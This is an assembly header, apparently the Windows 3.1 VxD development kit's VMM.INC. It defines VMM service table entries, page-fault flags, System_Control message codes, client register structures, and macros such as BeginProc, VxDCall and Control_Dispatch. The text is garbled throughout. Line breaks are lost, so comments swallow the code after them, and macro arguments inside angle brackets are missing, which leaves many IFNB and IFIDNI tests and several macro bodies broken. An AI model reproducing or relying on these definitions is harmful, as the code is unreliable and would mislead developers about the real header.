This is the structure of the "invalid page fault information" ; which is pointed to by EDI when Invalid page fault hookers ; are called. ; ; page faults can occur on a VM which is not current by touching the VM at ; its high linear address. In this case, IPF_FaultingVM may not = the ; current VM, it will be set to the VM whos high linear address was touched. ; IPF_Data struc IPF_LinAddr dd ? ; CR2 address of fault IPF_MapPageNum dd ? ; Possible converted page # of fault IPF_PTEEntry dd ? ; Contents of PTE that faulted IPF_FaultingVM dd ? ; May not = Current VM (IPF_V86PgH set) IPF_Flags dd ? ; Flags IPF_Data ends ; ; Flag bits of IPF_Flags ; ; Page directory entry not-present (not pres page table) IPF_PgDir equ 000000000000000000000000000000001b ; Unexpected not present Page in V86 IPF_V86Pg equ 000000000000000000000000000000010b ; Unexpected not present Page in V86 at high linear IPF_V86PgH equ 000000000000000000000000000000100b ; page has invalid not present type IPF_InvTyp equ 000000000000000000000000000001000b ; pageswap device couldn't page for some reason IPF_PgErr equ 000000000000000000000000000010000b ; re-entrant page fault IPF_ReFlt equ 000000000000000000000000000100000b ; Page fault caused by a VxD IPF_VMM equ 000000000000000000000000001000000b ; Page fault caused by VM running in Prot Mode IPF_PM equ 000000000000000000000000010000000b ; Page fault caused by VM running in V86 Mode IPF_V86 equ 000000000000000000000000100000000b VMM_Service Set_Delete_On_Exit_File VMM_Service Close_VM ; ; Flags for Close_VM service ; CVF_Continue_Exec equ 00000001b CVF_Continue_Exec_Bit equ 0 VMM_Service Enable_Touch_1st_Meg ; Debugging only VMM_Service Disable_Touch_1st_Meg ; Debugging only VMM_Service Install_Exception_Handler VMM_Service Remove_Exception_Handler Exception_Handler_Struc STRUC EH_Reserved dd ? EH_Start_EIP dd ? EH_End_EIP dd ? EH_Handler dd ? Exception_Handler_Struc ENDS VMM_Service Get_Crit_Status_No_Block .errnz Get_Crit_Status_No_Block - 100F1h ; VMM service table changed above this service ;************************************************************************* ;************************************************************************* ;************************************************************************* ; ; END OF 3.10 SERVICE TABLE MUST NOT SHUFFLE SERVICES BEFORE THIS POINT ; FOR COMPATIBILITY. ; End_Service_Table VMM, VMM ;****************************************************************************** IFDEF DEBUG DebFar EQU NEAR PTR ELSE DebFar EQU SHORT ENDIF BeginDoc ;****************************************************************************** ; ; EQUATES FOR SYSTEM_CONTROL CALLS ; ;============================================================================== ; ; Sys_Critical_Init is a device init call. Devices that have a critical ; function that needs initializing before interrupts are enabled should ; do it at Sys_Critical_Init. Devices which REQUIRE a certain range of ; V86 pages to operate (such as the VDD video memory) should claim them ; at Sys_Critical_Init. SYS VM Simulate_Int, Exec_Int ACTIVITY IS NOT ; ALLOWED. Returning carry aborts device load only. ; Sys_Critical_Init EQU 0000h ; Devices required for virt mode ; ; Device init is where most devices do the bulk of their initialization. ; SYS VM Simulate_Int, Exec_Int activity is allowed. Returning carry ; aborts device load only. ; Device_Init EQU 0001h ; All other devices init ; ; Init_Complete is the final phase of device init called just before the ; WIN386 INIT pages are released and the Instance snapshot is taken. ; Devices which wish to search for a region of V86 pages >= A0h to use ; should do it at Init_Complete. ; SYS VM Simulate_Int, Exec_Int activity is allowed. Returning carry ; aborts device load only. ; Init_Complete EQU 0002h ; All devices have initialized ;----------------- INITIALIZATION CODE AND DATA DISCARDED --------------------- ; ; Same as VM_Init, except for SYS VM. ; Sys_VM_Init EQU 0003h ; Execute the system VM (Win86) ; ; Same as VM_Terminate, except for SYS VM (Normal WIN386 exit ONLY, on a crash ; exit this call is not made). SYS VM Simulate_Int, Exec_Int activity is ; allowed. ; Sys_VM_Terminate EQU 0004h ; System VM terminted (exiting) ;------------------------------------------------------------------------------ ; ; System_Exit call is made when WIN386 is exiting either normally or via ; a crash. INTERRUPS ARE ENABLED. Instance snapshot has been restored. ; SYS VM Simulate_Int, Exec_Int ACTIVITY IS NOT ALLOWED. ; System_Exit EQU 0005h ; Devices prepare to exit ; ; System_Exit call is made when WIN386 is exiting either normally or via ; a crash. INTERRUPS ARE DISABLED. SYS VM Simulate_Int, Exec_Int ACTIVITY ; IS NOT ALLOWED. ; Sys_Critical_Exit EQU 0006h ; System critical devices reset ; ; Create_VM creates a new VM. EBX = VM handle of new VM. Returning Carry will ; fail the Create_VM. ; Create_VM EQU 0007h ; ; Second phase of Create_VM. EBX = VM handle of new VM. Returning Carry will ; cause the VM to go Not_Executeable, then be destroyed. VM Simulate_Int, ; Exec_Int activity is NOT allowed. ; VM_Critical_Init EQU 0008h ; ; Third phase of Create_VM. EBX = VM handle of new VM. Returning Carry will ; cause the VM to go Not_Executeable, then be destroyed. VM Simulate_Int, ; Exec_Int activity is allowed. ; VM_Init EQU 0009h ; ; NORMAL (First phase) of Destroy_VM. EBX = VM Hanlde. This occurs on normal ; termination of the VM. Call cannot be failed. VM Simulate_Int, Exec_Int ; activity is allowed. ; VM_Terminate EQU 000Ah ; Still in VM -- About to die ; ; Second phase of Destroy_VM. EBX = VM Handle, EDX = Flags (see below). Note ; that in the case of destroying a running VM, this is the first call made ; (VM_Terminate call does not occur). Call cannot be failed. VM Simulate_Int, ; Exec_Int activity is NOT allowed. ; VM_Not_Executeable EQU 000Bh ; Most devices die (except VDD) ; ; Final phase of Destroy_VM. EBX = VM Handle. Note that considerable time ; can elaps between the VM_Not_Executeable call and this call. Call cannot ; be failed. VM Simulate_Int, Exec_Int activity is NOT allowed. ; Destroy_VM EQU 000Ch ; VM's control block about to go ; ; Flags for VM_Not_Executeable control call (passed in EDX) ; VNE_Crashed EQU 0000000000000000000000001b VNE_Crashed_Bit EQU 0 ; VM was crashed VNE_Nuked EQU 0000000000000000000000010b VNE_Nuked_Bit EQU 1 ; VM was destroyed while active VNE_CreateFail EQU 0000000000000000000000100b VNE_CreateFail_Bit EQU 2 ; Some device failed Create_VM VNE_CrInitFail EQU 0000000000000000000001000b VNE_CrInitFail_Bit EQU 3 ; Some device failed VM_Critical_Init VNE_InitFail EQU 0000000000000000000010000b VNE_InitFail_Bit EQU 4 ; Some device failed VM_Init VNE_Closed EQU 0000000000000000000100000b VNE_Closed_Bit EQU 5 ;------------------------------------------------------------------------------ ; ; EBX = VM Handle. Call cannot be failed. ; VM_Suspend EQU 000Dh ; VM not runnable until resume ; ; EBX = VM Handle. Returning carry fails and backs out the resume. ; VM_Resume EQU 000Eh ; VM is leaving suspended state ;------------------------------------------------------------------------------ ; ; EBX = VM Handle to set device focus to. EDX = Device ID if device specific ; setfocus. == 0 if device critical setfocus (all devices). THIS CALL CANNOT ; BE FAILED. ; ; NOTE: In case where EDX == 0, ESI is a FLAG word that indicates special ; functions. Currently Bit 0 being set indicates that this Device ; critical set focus is also "VM critical". It means that we do not ; want some other VM to take the focus from this app now. This is ; primarily used when doing a device critical set focus to Windows ; (the SYS VM) it is interpreted by the SHELL to mean "if an old app ; currently has the Windows activation, set the activation to the ; Windows Shell, not back to the old app". ALSO in the case where ; Bit 0 is set, EDI = The VM handle of the VM that is "having trouble". ; Set this to 0 if there is no specific VM associated with the problem. ; Set_Device_Focus EQU 000Fh ;------------------------------------------------------------------------------ ; ; EBX = VM Handle going into message mode. THIS CALL CANNOT BE FAILED. ; Begin_Message_Mode EQU 0010h ; ; EBX = VM Handle leaving message mode. THIS CALL CANNOT BE FAILED. ; End_Message_Mode EQU 0011h ;------------------------- SPECIAL CONTROL CALLS ------------------------------ ; ; Request for reboot. Call cannot be failed. ; Reboot_Processor EQU 0012h ; Request a machine reboot ; ; Query_Destroy is an information call made by the SHELL device before an ; attempt is made to initiate a destroy VM sequence on a running VM which ; has not exited normally. EBX = VM Handle. Returning carry indicates that ; a device "has a problem" with allowing this. THE DESTROY SEQUENCE CANNOT ; BE ABORTED HOWEVER, this decision is up to the user. All this does is ; indicate that there is a "problem" with allowing the destroy. The device ; which returns carry should call the SHELL_Message service to post an ; informational dialog about the reason for the problem. ; Query_Destroy EQU 0013h ; OK to destroy running VM? ;------------------------- DEBUGGING CONTROL CALL ----------------------------- ; ; Special call for device specific DEBUG information display and activity. ; Debug_Query EQU 0014h ;---------- CALLS FOR BEGIN/END OF PROTECTED MODE VM EXECUTION ---------------- ; ; About to run a protected mode application. ; EBX = Current VM handle. ; EDX = Flags ; EDI -> Application Control Block ; Returning with carry set fails the call. ; Begin_PM_App EQU 0015h ; ; Flags for Begin_PM_App (passed in EDX) ; BPA_32_Bit EQU 00000001b BPA_32_Bit_Flag EQU 1 ; ; Protected mode application is terminating. ; EBX = Current VM handle. THIS CALL CAN NOT FAIL. ; EDI -> Application Control Block ; End_PM_App EQU 0016h ; ; Called whenever system is about to be rebooted. Allows VxDs to clean ; up in preperation for reboot. ; Device_Reboot_Notify EQU 0017h Crit_Reboot_Notify EQU 0018h ; ; Called when VM is about to be termintate using the Close_VM service ; EBX = Current VM handle (Handle of VM to close) ; EDX = Flags ; CVNF_Crit_Close = 1 if VM is in critical section while closing ; Close_VM_Notify EQU 0019h CVNF_Crit_Close EQU 00000001b CVNF_Crit_Close_Bit EQU 0 ; ; Power management event notification. ; EBX = 0 ; ESI = event notification message ; EDI -> DWORD return value; VxD's modify the DWORD to return info, not EDI ; EDX is reserved ; Power_Event EQU 001Ah EndDoc BeginDoc ;****************************************************************************** ; BeginProc is a macro for defining entry points to routines in VMM and in the ; VxDs. It correctly defines the procedure name for VxD services(it prepends ; a "@" to the procedure name), DWORD aligns the procedure, takes care of ; public declaration and does some calling verification for debug versions ; of the software. EndProc is a macro which defines the end of the procedure. ; ; Valid parameters to the BeginProc macro are: ; PUBLIC ; Routine used outside this module ; HIGH_FREQ ; DWORD align procedure ; SERVICE ; Routine is called via VxDCall ; ASYNC_SERVICE ; Same as "SERVICE" plus routine can ; ; be called under interrupt. ; After the routine header in which the routine entry conditions, exit ; conditions, side affects and functionality are specified, the BeginProc ; macro should be used to define the routine's entry point. It has up to ; four parameters as specified below. For example: ; ;BeginProc ,PUBLIC, HIGH_FREQ, ASYNC_SERVICE ; ; ; ;EndProc ;============================================================================== EndDoc BeginProc MACRO Name, P1, P2, P3, P4 LOCAL Profile_Data, Skip_Data IF ?_RCODE Process_Param MACRO P IFNB

IFIDNI

, Dword_Align ELSE IFIDNI

, ??_SERVICE = 1 ELSE IFIDNI

, ??_ASYNC_SERVICE = 1 IF ?_LCODE %OUT ERROR: ASYNC_SERVICE's must be in LOCKED code ;;.err ENDIF ELSE IFIDNI

, ??_NO_LOG = 1 ELSE IFDIFI

, %OUT ERROR: Bad para "&P" to BeginProc .ERR ENDIF ENDIF ENDIF ENDIF ENDIF ENDIF ENDM ??_SERVICE = 0 ??_ASYNC_SERVICE = 0 ??_NO_LOG = 0 Process_Param P1 Process_Param P2 Process_Param P3 Process_Param P4 IFE ??_SERVICE + ??_ASYNC_SERVICE PUBLIC Name Name PROC NEAR IFDEF DEBUG IFE ??_NO_LOG IFNDEF VMMSYS VMMcall Log_Proc_Call ENDIF ENDIF ENDIF ELSE IFDEF DEBUG jmp SHORT Skip_Data Profile_Data LABEL DWORD dd 0 Skip_Data: ENDIF PUBLIC @&Name @&Name PROC NEAR IFDEF DEBUG IFE ??_NO_LOG ;;;;IFNDEF VMMSYS VMMcall Log_Proc_Call ;;;;ENDIF ENDIF pushfd inc [Profile_Data] IFE ??_ASYNC_SERVICE VMMcall Test_Reenter ENDIF popfd ENDIF ENDIF ELSE IFIDNI , PUBLIC Name ENDIF Name PROC NEAR ENDIF ENDM EndProc MACRO Name IFDEF @&Name @&Name ENDP ELSE IFDEF Name Name ENDP ELSE .ERR %OUT EndProc for &Name does not match BeginProc ENDIF ENDIF ENDM ;****************************************************************************** ; S C H E D U L E R B O O S T V A L U E S ;============================================================================== Reserved_Low_Boost EQU 00000000000000000000000000000001b Cur_Run_VM_Boost EQU 00000000000000000000000000000100b Low_Pri_Device_Boost EQU 00000000000000000000000000010000b High_Pri_Device_Boost EQU 00000000000000000001000000000000b Critical_Section_Boost EQU 00000000000100000000000000000000b Time_Critical_Boost EQU 00000000010000000000000000000000b Reserved_High_Boost EQU 01000000000000000000000000000000b ;****************************************************************************** ; F L A G S F O R C A L L _ P R I O R I T Y _ V M _ E V E N T ;============================================================================== PEF_Wait_For_STI EQU 0000001b PEF_Wait_For_STI_Bit EQU 0 PEF_Wait_Not_Crit EQU 0000010b PEF_Wait_Not_Crit_Bit EQU 1 PEF_Dont_Unboost EQU 0000100b PEF_Dont_Unboost_Bit EQU 2 PEF_Always_Sched EQU 0001000b PEF_Always_Sched_Bit EQU 3 PEF_Time_Out EQU 0010000b PEF_Time_Out_Bit EQU 4 ;****************************************************************************** ; F L A G S F O R B E G I N _ C R I T I C A L _ S E C T I O N ; A N D W A I T _ S E M A P H O R E ;============================================================================== Block_Svc_Ints EQU 0000001b Block_Svc_Ints_Bit EQU 0 Block_Svc_If_Ints_Locked EQU 0000010b Block_Svc_If_Ints_Locked_Bit EQU 1 Block_Enable_Ints EQU 0000100b Block_Enable_Ints_Bit EQU 2 Block_Poll EQU 0001000b Block_Poll_Bit EQU 3 BeginDoc ;****************************************************************************** ; The following structures are pointed to by EBP when VxD routines are entered, ; both for VxD control calls and traps(I/O traps, software INT traps, etc.). ; The first structure as DWORD values, the second WORD values and the last ; has BYTE values. ; Client_Reg_Struc struc Client_EDI dd ? ; Client's EDI Client_ESI dd ? ; Client's ESI Client_EBP dd ? ; Client's EBP dd ? ; ESP at pushall Client_EBX dd ? ; Client's EBX Client_EDX dd ? ; Client's EDX Client_ECX dd ? ; Client's ECX Client_EAX dd ? ; Client's EAX Client_Error dd ? ; Dword error code Client_EIP dd ? ; EIP Client_CS dw ? ; CS dw ? ; (padding) Client_EFlags dd ? ; EFLAGS Client_ESP dd ? ; ESP Client_SS dw ? ; SS dw ? ; (padding) Client_ES dw ? ; ES dw ? ; (padding) Client_DS dw ? ; DS dw ? ; (padding) Client_FS dw ? ; FS dw ? ; (padding) Client_GS dw ? ; GS dw ? ; (padding) Client_Alt_EIP dd ? Client_Alt_CS dw ? dw ? Client_Alt_EFlags dd ? Client_Alt_ESP dd ? Client_Alt_SS dw ? dw ? Client_Alt_ES dw ? dw ? Client_Alt_DS dw ? dw ? Client_Alt_FS dw ? dw ? Client_Alt_GS dw ? dw ? Client_Reg_Struc ends Client_Word_Reg_Struc struc Client_DI dw ? ; Client's DI dw ? ; (padding) Client_SI dw ? ; Client's SI dw ? ; (padding) Client_BP dw ? ; Client's BP dw ? ; (padding) dd ? ; ESP at pushall Client_BX dw ? ; Client's BX dw ? ; (padding) Client_DX dw ? ; Client's DX dw ? ; (padding) Client_CX dw ? ; Client's CX dw ? ; (padding) Client_AX dw ? ; Client's AX dw ? ; (padding) dd ? ; Dword error code Client_IP dw ? ; Client's IP dw ? ; (padding) dd ? ; CS Client_Flags dw ? ; Client's flags (low) dw ? ; (padding) Client_SP dw ? ; SP dw ? dd 5 dup (?) Client_Alt_IP dw ? dw ? dd ? Client_Alt_Flags dw ? dw ? Client_Alt_SP dw ? Client_Word_Reg_Struc ends Client_Byte_Reg_Struc struc dd 4 dup (?) ; EDI, ESI, EBP, ESP at pushall Client_BL db ? ; Client's BL Client_BH db ? ; Client's BH dw ? ; (padding) Client_DL db ? ; Client's DL Client_DH db ? ; Client's DH dw ? ; (padding) Client_CL db ? ; Client's CL Client_CH db ? ; Client's CH dw ? ; (padding) Client_AL db ? ; Client's AL Client_AH db ? ; Client's AH Client_Byte_Reg_Struc ends ;============================================================================== EndDoc .ERRNZ Client_SP - Client_ESP .ERRNZ Client_AL - Client_EAX PushCParams MACRO P1, P2, P3, P4, P5, P6, P7, P8, P9, P10 IRP Param, IFNB push Param ENDIF ENDM ENDM ClearCParams MACRO Count, P1, P2, P3, P4, P5, P6, P7, P8, P9, P10 IFNB ClearCParams %(Count+1), , , , , , , , , ELSE IF Count add esp, Count*4 ENDIF ENDIF ENDM Dyna_Link_Int EQU 20h ; ; BeginDoc ;****************************************************************************** ; The VMMCall and VxDCall macros provide a dynamic link to the VMM and VxD ; service routines. For example: ; ; VMMCall Enable_VM_Ints ; Equivalent to STI in VM code ; ; mov eax,[My_IRQ_Handle] ; VxDCall VPICD_Set_Int_Request ; Set IRQ for my device's interrupt ; ; Note that Enable_VM_Ints is defined in VMM.INC and VPICD_Set_Int_Request is ; defined in VPICD.INC ; ;============================================================================== EndDoc BeginDoc ;****************************************************************************** ; VxDCall ;============================================================================== EndDoc VxDcall MACRO P, Param PushCParams Param int Dyna_Link_Int dd P ClearCParams 0, Param ENDM VxDjmp MACRO P, Param IFNB %OUT ERROR: Parameters may not be passed to VxDjmp or VMMjmp macros .ERR ENDIF int Dyna_Link_Int IFDEF DEBUG dd P ret ELSE dd P OR DL_Jmp_Mask ENDIF ENDM DL_Jmp_Mask EQU 8000h DL_Jmp_Bit EQU 0Fh VMMcall MACRO P, Param .ERRNZ (P SHR 16) - VMM_Device_ID VxDcall

, ENDM VMMjmp MACRO P, Param .ERRNZ (P SHR 16) - VMM_Device_ID VxDjmp

, ENDM cCall MACRO P, Param PushCParams Param call P ClearCParams 0, Param ENDM BeginDoc ;****************************************************************************** ; Segment definition macros ; ; The segment definition macros are a convenience used in defining the ; segments used by the device driver. They are: ;VxD_ICODE_SEG defines start of initialization code segment ;VxD_ICODE_ENDS defines end of initialization code segment ;VxD_IDATA_SEG defines start of initialization data segment ;VxD_IDATA_ENDS defines end of initialization data segment ;VxD_CODE_SEG defines start of always present code segment ;VxD_CODE_ENDS defines end of always present code segment ;VxD_DATA_SEG defines start of always present data segment ;VxD_DATA_ENDS defines end of always present data segment ;============================================================================== EndDoc ; Protected mode code VxD_CODE_SEG EQU VxD_CODE_ENDS EQU VxD_LOCKED_CODE_SEG MACRO _LTEXT SEGMENT ??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHL 3 + ??_LCODE ASSUME cs:FLAT, ds:FLAT, es:FLAT, ss:FLAT ENDM VxD_LOCKED_CODE_ENDS MACRO ??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHR 3 _LTEXT ENDS ENDM ; Protected mode initialization code VxD_ICODE_SEG MACRO _ITEXT SEGMENT ??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHL 3 + ??_ICODE ASSUME cs:FLAT, ds:FLAT, es:FLAT, ss:FLAT ENDM VxD_ICODE_ENDS MACRO ??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHR 3 _ITEXT ENDS ENDM ; Protected mode data VxD_DATA_SEG EQU VxD_DATA_ENDS EQU VxD_LOCKED_DATA_SEG MACRO NO_ALIGN _LDATA SEGMENT IFB ALIGN 4 ENDIF ENDM VxD_LOCKED_DATA_ENDS MACRO _LDATA ENDS ENDM ; Protected mode initialization data VxD_IDATA_SEG MACRO _IDATA SEGMENT ENDM VxD_IDATA_ENDS MACRO _IDATA ENDS ENDM VxD_REAL_INIT_SEG MACRO _RCODE SEGMENT ASSUME CS:_RCODE, DS:_RCODE, ES:_RCODE, SS:_RCODE ??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHL 3 + ??_RCODE ENDM VxD_REAL_INIT_ENDS MACRO ??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHR 3 _RCODE ENDS ENDM ENDIF DDK_Version equ 30Ah ; 3.10 VxD_Desc_Block STRUC DDB_Next dd ? ; VMM RESERVED FIELD DDB_SDK_Version dw DDK_Version ; VMM RESERVED FIELD DDB_Req_Device_Number dw Undefined_Device_ID ; Required device number DDB_Dev_Major_Version db 0 ; Major device number DDB_Dev_Minor_Version db 0 ; Minor device number DDB_Flags dw 0 ; Flags for init calls complete DDB_Name db " " ; Device name DDB_Init_Order dd Undefined_Init_Order; Initialization Order DDB_Control_Proc dd ? ; Offset of control procedure DDB_V86_API_Proc dd 0 ; Offset of API procedure (or 0) DDB_PM_API_Proc dd 0 ; Offset of API procedure (or 0) DDB_V86_API_CSIP dd 0 ; CS:IP of API entry point DDB_PM_API_CSIP dd 0 ; CS:IP of API entry point DDB_Reference_Data dd ? ; Reference data from real mode DDB_Service_Table_Ptr dd 0 ; Pointer to service table DDB_Service_Table_Size dd 0 ; Number of services VxD_Desc_Block ENDS IFNDEF Not_VxD ; flag values for DDB_Flags DDB_Sys_Crit_Init_Done EQU 00000001b DDB_Sys_Crit_Init_Done_Bit EQU 0 DDB_Device_Init_Done EQU 00000010b DDB_Device_Init_Done_Bit EQU 1 BeginDoc ;****************************************************************************** ; ; Declare_Virtual_Device macro ; ; ???? Write something here ???? ; ;============================================================================== EndDoc Declare_Virtual_Device MACRO Name, Major_Ver, Minor_Ver, Ctrl_Proc, Device_Num, Init_Order, V86_Proc, PM_Proc LOCAL V86_API_Offset, PM_API_Offset, Serv_Tab_Offset, Serv_Tab_Len dev_id_err MACRO %OUT Device ID required when providing services .ERR ENDM IFB V86_API_Offset EQU 0 ELSE IFB dev_id_err ENDIF V86_API_Offset EQU ENDIF IFB PM_API_Offset EQU 0 ELSE IFB dev_id_err ENDIF PM_API_Offset EQU ENDIF IFDEF Name&_Service_Table IFB dev_id_err ELSE IFE Device_Num - Undefined_Device_ID dev_id_err ENDIF ENDIF Serv_Tab_Offset EQU Serv_Tab_Len EQU Num_&Name&_Services ELSE Serv_Tab_Offset EQU 0 Serv_Tab_Len EQU 0 ENDIF VxD_LOCKED_DATA_SEG PUBLIC Name&_DDB Name&_DDB VxD_Desc_Block <,,Device_Num,Major_Ver,Minor_Ver,,"&Name",Init_Order,\ OFFSET32 Ctrl_Proc, V86_API_Offset, PM_API_Offset, \ ,,,Serv_Tab_Offset, Serv_Tab_Len> VxD_LOCKED_DATA_ENDS ENDM BeginDoc ;****************************************************************************** ; The Begin_Control_Dispatch macro is used for building a table for dispatching ; messages passed to the VxD_Control procedure. It is used with ; Control_Dispatch and End_Control_Dispatch. The only parameter is used to ; contruct the procedure label by adding "_Control" to the end (normally the ; device name is used i.e. VKD results in creating the procedure VKD_Control, ; this created procedure label must be included in Declare_Virtual_Device) ; ; An example of building a complete dispatch table: ; ; Begin_Control_Dispatch MyDevice ; Control_Dispatch Device_Init, MyDeviceInitProcedure ; Control_Dispatch Sys_VM_Init, MyDeviceSysInitProcedure ; Control_Dispatch Create_VM, MyDeviceCreateVMProcedure ; End_Control_Dispatch MyDevice ; ; (NOTE: Control_Dispatch can be used without Begin_Control_Dispatch, but ; then it is the programmer's responsibility for declaring a procedure ; in locked code (VxD_LOCKED_CODE_SEG) and returning Carry clear for ; any messages not processed. The advantage in using ; Begin_Control_Dispatch is when a large # of messages are processed by ; a device, because a jump table is built which will usually require ; less code space then the compares and jumps that are done when ; Control_Dispatch is used alone. ; ;============================================================================== EndDoc Begin_Control_Dispatch MACRO VxD_Name ??_cd_low = 0FFFFFFFFh ??_cd_high = 0 BeginProc VxD_Name&_Control ENDM End_Control_Dispatch MACRO VxD_Name LOCAL ignore, table jmpproc MACRO num jmp ??_cd_&&num ENDM procoff MACRO num IFDEF ??_cd_&&num dd OFFSET32 ??_cd_&&num ELSE dd OFFSET32 ignore ENDIF ENDM IF ??_cd_low EQ ??_cd_high cmp eax, ??_cd_low jne short ignore jmpproc %(??_cd_low) ignore: clc ret ELSE cmp eax, ??_cd_high ja short ignore sub eax, ??_cd_low jb short ignore jmp cs:[eax*4+table] ignore: clc ret table label dword REPT ??_cd_high - ??_cd_low + 1 procoff %(??_cd_low) ??_cd_low = ??_cd_low + 1 ENDM ENDIF EndProc VxD_Name&_Control PURGE jmpproc PURGE procoff PURGE Begin_Control_Dispatch PURGE Control_Dispatch PURGE End_Control_Dispatch ENDM BeginDoc ;****************************************************************************** ; The Control_Dispatch macro is used for dispatching based on message ; passed to the VxD_Control procedure. E.G.: ; ; Control_Dispatch Device_Init, MyDeviceInitProcedure ; ; (NOTE: Control_Dispatch can be used with Begin_Control_Dispatch and ; End_Control_Dispatch to create a jump table for dispatching messages, ; when a large # of messages are processed.) ; ;============================================================================== EndDoc Control_Dispatch MACRO Service, Procedure LOCAL Skip_Interseg_Jump IFE ?_lcode IFDEF ??_cd_low Equate_Service MACRO Serv ??_cd_&&Serv equ Procedure ENDM Equate_Service %(Service) IF Service LT ??_cd_low ??_cd_low = Service ENDIF IF Service GT ??_cd_high ??_cd_high = Service ENDIF PURGE Equate_Service ELSE cmp eax, Service jne SHORT Skip_Interseg_Jump jmp Procedure Skip_Interseg_Jump: ENDIF ELSE %OUT ERROR: The Control proc should be in LOCKED code. %OUT Control_Dispatch can only be used inside of VxD_LOCKED_CODE_SEG. .err ENDIF ENDM BeginDoc ;****************************************************************************** ; The following are the definitions for the "type of I/O" parameter passed ; to a I/O trap routine Byte_Input EQU 000h Byte_Output EQU 004h Word_Input EQU 008h Word_Output EQU 00Ch Dword_Input EQU 010h Dword_Output EQU 014h Output EQU 0000000000000100b Output_Bit EQU 2 Word_IO EQU 0000000000001000b Word_IO_Bit EQU 3 Dword_IO EQU 0000000000010000b Dword_IO_Bit EQU 4 String_IO EQU 00000020h String_IO_Bit EQU 5 Rep_IO EQU 00000040h Rep_IO_Bit EQU 6 Addr_32_IO EQU 00000080h Addr_32_IO_Bit EQU 7 Reverse_IO EQU 00000100h Reverse_IO_Bit EQU 8 IO_Seg_Mask EQU 0FFFF0000h ; Use these bits to get segment IO_Seg_Shift EQU 10h ; Must shift right this many ;============================================================================== EndDoc BeginDoc ;****************************************************************************** ; ; Dispatch_Byte_IO macro ; ; Dispatch_Byte_IO Byte_In_Proc, Byte_Out_Proc ;============================================================================== EndDoc Dispatch_Byte_IO MACRO In_Proc, Out_Proc LOCAL Byte_IO cmp ecx, Byte_Output jbe SHORT Byte_IO VMMjmp Simulate_IO Byte_IO: IFIDNI , je Out_Proc ELSE IFIDNI , jb In_Proc ELSE je Out_Proc jmp In_Proc ENDIF ENDIF ENDM BeginDoc ;****************************************************************************** ; ; Emulate_Non_Byte_IO ; ; Emulate_Non_Byte_IO ; ;============================================================================== EndDoc Emulate_Non_Byte_IO MACRO LOCAL Byte_IO cmp ecx, Byte_Output jbe SHORT Byte_IO VMMjmp Simulate_IO Byte_IO: ENDM VxD_IOT_Hdr STRUC VxD_IO_Ports dw ? VxD_IOT_Hdr ENDS VxD_IO_Struc STRUC VxD_IO_Port dw ? VxD_IO_Proc dd ? VxD_IO_Struc ENDS BeginDoc ;****************************************************************************** ; ; Begin_VxD_IO_Table ; ; Example: ; Begin_VxD_IO_Table MyTableName ; ;============================================================================== EndDoc .ERRNZ SIZE VxD_IOT_Hdr - 2 ; Begin_VxD_IO_Table creates a 1 word count hdr Begin_VxD_IO_Table MACRO Table_Name PUBLIC Table_Name Table_Name LABEL WORD IF2 IFNDEF Table_Name&_Entries %OUT ERROR: No End_VxD_IO_Table for &Table_Name .ERR ENDIF dw Table_Name&_Entries ELSE dw ? ENDIF ENDM .ERRNZ SIZE VxD_IO_Struc - 6 ; VxD_IO creates 6 byte I/O port entries VxD_IO MACRO Port, Proc_Name dw Port dd OFFSET32 Proc_Name ENDM End_VxD_IO_Table MACRO Table_Name IFNDEF Table_Name %OUT ERROR: No Begin_VxD_IO_Table for &Table_Name .ERR ELSE Table_Name&_Entries EQU (($-Table_Name)-2) / (SIZE VxD_IO_Struc) IF Table_Name&_Entries LE 0 %OUT ERROR: Invalid number of port traps in &Table_Name .ERR ENDIF ENDIF ENDM ;****************************************************************************** ;****************************************************************************** Push_Client_State MACRO sub esp, SIZE Client_Reg_Struc push edi lea edi, [esp+4] VMMcall Save_Client_State pop edi ENDM Pop_Client_State MACRO push esi lea esi, [esp+4] VMMcall Restore_Client_State pop esi add esp, SIZE Client_Reg_Struc ENDM BeginDoc ;****************************************************************************** ; ; CallRet -- Call procedure and return. For debugging purposes only. ; If compiled with debugging then this will generate a call ; followed by a return. If non-debugging version then the ; specified label will be jumped to. ; ; PARAMETERS: ; Label_Name = Procedure to be called ; ; EXIT: ; Return from current procedure ; ;------------------------------------------------------------------------------ EndDoc CallRet MACRO P1, P2 IFDEF DEBUG IFIDNI , call P2 ELSE call P1 ENDIF ret ELSE jmp P1 P2 ENDIF ENDM ; ebp offsets to segments pushed by PMode_Fault in Fault_Dispatch PClient_DS equ WORD PTR -4 PClient_ES equ WORD PTR -8 PClient_FS equ WORD PTR -12 PClient_GS equ WORD PTR -16 Client_Ptr_Flat MACRO Reg_32, Cli_Seg, Cli_Off IFDIFI , push eax ENDIF IFB mov ax, (Client_&Cli_Seg * 100h) + 0FFh ELSE mov ax, (Client_&Cli_Seg * 100h) + Client_&Cli_Off ENDIF VMMcall Map_Flat IFDIFI , mov Reg_32, eax pop eax ENDIF ENDM ;------------------------------------------------------------------------------ VxDint MACRO Int_Number push DWORD PTR Int_Number VMMcall Exec_VxD_Int ENDM ENDIF ; Not_VxD BeginDoc ;****************************************************************************** ; ; The following equates are for flags sent to the real mode ; initialization portion of a device driver: ; Duplicate_Device_ID equ 0000000000000001b ; duplicate device ID already Duplicate_Device_ID_Bit equ 0 ; loaded Duplicate_From_INT2F equ 0000000000000010b ; duplicate device ID already Duplicate_From_INT2F_Bit equ 1 ; loaded as part of INT 2F ; device list Loading_From_INT2F equ 0000000000000100b ; this device was specified Loading_From_INT2F_Bit equ 2 ; in the INT 2F device list EndDoc BeginDoc ;****************************************************************************** ; ; The following equates are used to indicate the result of the real mode ; initialization portion of a device driver: ; Device_Load_Ok equ 0 ; protected mode portion of device ; should be loaded Abort_Device_Load equ 1 ; don't load any protected mode portion ; of this device, but continue loading ; the rest of the devices Abort_Win386_Load equ 2 ; fatal-error: abort the load of Win386 No_Fail_Message equ 8000h ; The high bit is set in the return No_Fail_Message_Bit equ 15 ; code, if the loader should not print ; any message for results ; Abort_Device_Load or Abort_Win386_Load ;============================================================================== EndDoc ;============================================================================== ; CR0 bit assignments PE_Mask EQU 0001h ; 1 = Protected Mode PE_Bit EQU 0 MP_Mask EQU 0002h ; 1 = Monitor Coprocessor MP_Bit EQU 1 EM_Mask EQU 0004h ; 1 = Emulate Math Coprocessor 